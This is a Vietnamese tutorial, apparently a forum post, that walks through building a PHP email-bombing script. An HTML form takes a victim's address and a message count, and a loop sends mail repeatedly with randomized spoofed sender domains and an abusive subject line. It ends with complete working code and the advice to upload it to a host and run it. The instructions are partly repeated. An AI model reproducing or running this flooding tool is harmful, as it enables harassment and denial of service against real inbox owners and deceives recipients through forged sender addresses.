----- Yêu cầu:
- Biết sơ qua về php, html, css.
- Biết mình đang làm gì
----- Bắt đầu:
Bước 1: Xác định bài toán:
- Chúng ta sẽ viết 1 chương trình php đơn giản, trong đó sử dụng hàm mail gửi mail liên tục về 1 địa chỉ victim cố định, gây ngập lụt hòm mail đối phương.
- Thông tin cần thiết gồm có:
+ Địa chỉ email của victim
+ Địa chỉ gửi đi
+ Số lượng mail gửi đi
Bước 2: Xây dựng mã HTML:
- Tạo 1 form HTML đơn giản, nhập email đối phương, số lượng, và nút Bom:
------> OK!
Bước 3: xây dựng mà PHP:
- Xây dựng hàm tạo chuỗi string random, mục đích đưa vào làm domain giả gửi mail, làm tiêu đề và nội dung:
- Truyền biến:
- Xây dựng hàm mail gửi đi khi nhấn nút boom:
- Thêm các giá trị random vào vòng lặp while:
Bước 4: Ghép php vào html và lưu lại dưới dạng file php. Up lên host và chạy thôi
Demo Code:
- Biết sơ qua về php, html, css.
- Biết mình đang làm gì
----- Bắt đầu:
Bước 1: Xác định bài toán:
- Chúng ta sẽ viết 1 chương trình php đơn giản, trong đó sử dụng hàm mail gửi mail liên tục về 1 địa chỉ victim cố định, gây ngập lụt hòm mail đối phương.
- Thông tin cần thiết gồm có:
+ Địa chỉ email của victim
+ Địa chỉ gửi đi
+ Số lượng mail gửi đi
Bước 2: Xây dựng mã HTML:
- Tạo 1 form HTML đơn giản, nhập email đối phương, số lượng, và nút Bom:
PHP:
<html>
<body><center>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST" name="bom">
Victim:<input name="mail" type=""text"><br>
Số lượng: <input name="soluong" type="text"><br>
<input type="submit" name="submit" value="Bom">
</form>
</center></body>
</html>
------> OK!
Bước 3: xây dựng mà PHP:
- Xây dựng hàm tạo chuỗi string random, mục đích đưa vào làm domain giả gửi mail, làm tiêu đề và nội dung:
PHP:
function rand_string($length) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
for( $i = 0; $i < $length; $i++ ) {
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}
- Truyền biến:
PHP:
$mail=$_POST['mail'];
$soluong=$_POST['soluong'];
$i=1;
- Xây dựng hàm mail gửi đi khi nhấn nút boom:
PHP:
If ($_POST['submit']){
While ($i<=$soluong){
mail($mail,$subject,$content,$header);
$i++;
}
}
- Thêm các giá trị random vào vòng lặp while:
PHP:
$content=rand_string(100)." - Password để ngừng bom mail: " md5(rand_string(10));
$subject="**** you - ".rand_string(10). " - " .md5(rand_string(10));
$mailfrom="tuoitrevn-".rand_string(8)."@".rand_string(6).".com";
$header="From: $mailfrom<$mailfrom>" . "\r\n" .
"X-Mailer: PHP/" . phpversion();
Bước 4: Ghép php vào html và lưu lại dưới dạng file php. Up lên host và chạy thôi
Demo Code:
PHP:
<html>
<body><center>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST" name="bom">
Victim:<input name="mail" type=""text"><br>
Số lượng: <input name="soluong" type="text"><br>
<input type="submit" name="submit" value="Bom">
<?php
function rand_string($length) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
for( $i = 0; $i < $length; $i++ ) {
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}
$mail=$_POST['mail'];
$soluong=$_POST['soluong'];
$i=1;
If ($_POST['submit']){
While ($i<=$soluong){
$content=rand_string(100)." - Password để ngừng bom mail: ". md5(rand_string(10));
$subject="**** you - ".rand_string(10). " - " .md5(rand_string(10));
$mailfrom="tuoitrevn-".rand_string(8)."@".rand_string(6).".com";
$header="From: $mailfrom<$mailfrom>" . "\r\n" .
"X-Mailer: PHP/" . phpversion();
mail($mail,$subject,$content,$header);
$i++;
echo $i." ".$mailfrom." - ".$mail."<br>";
}
}
?>
</form>
</center></body>
</html>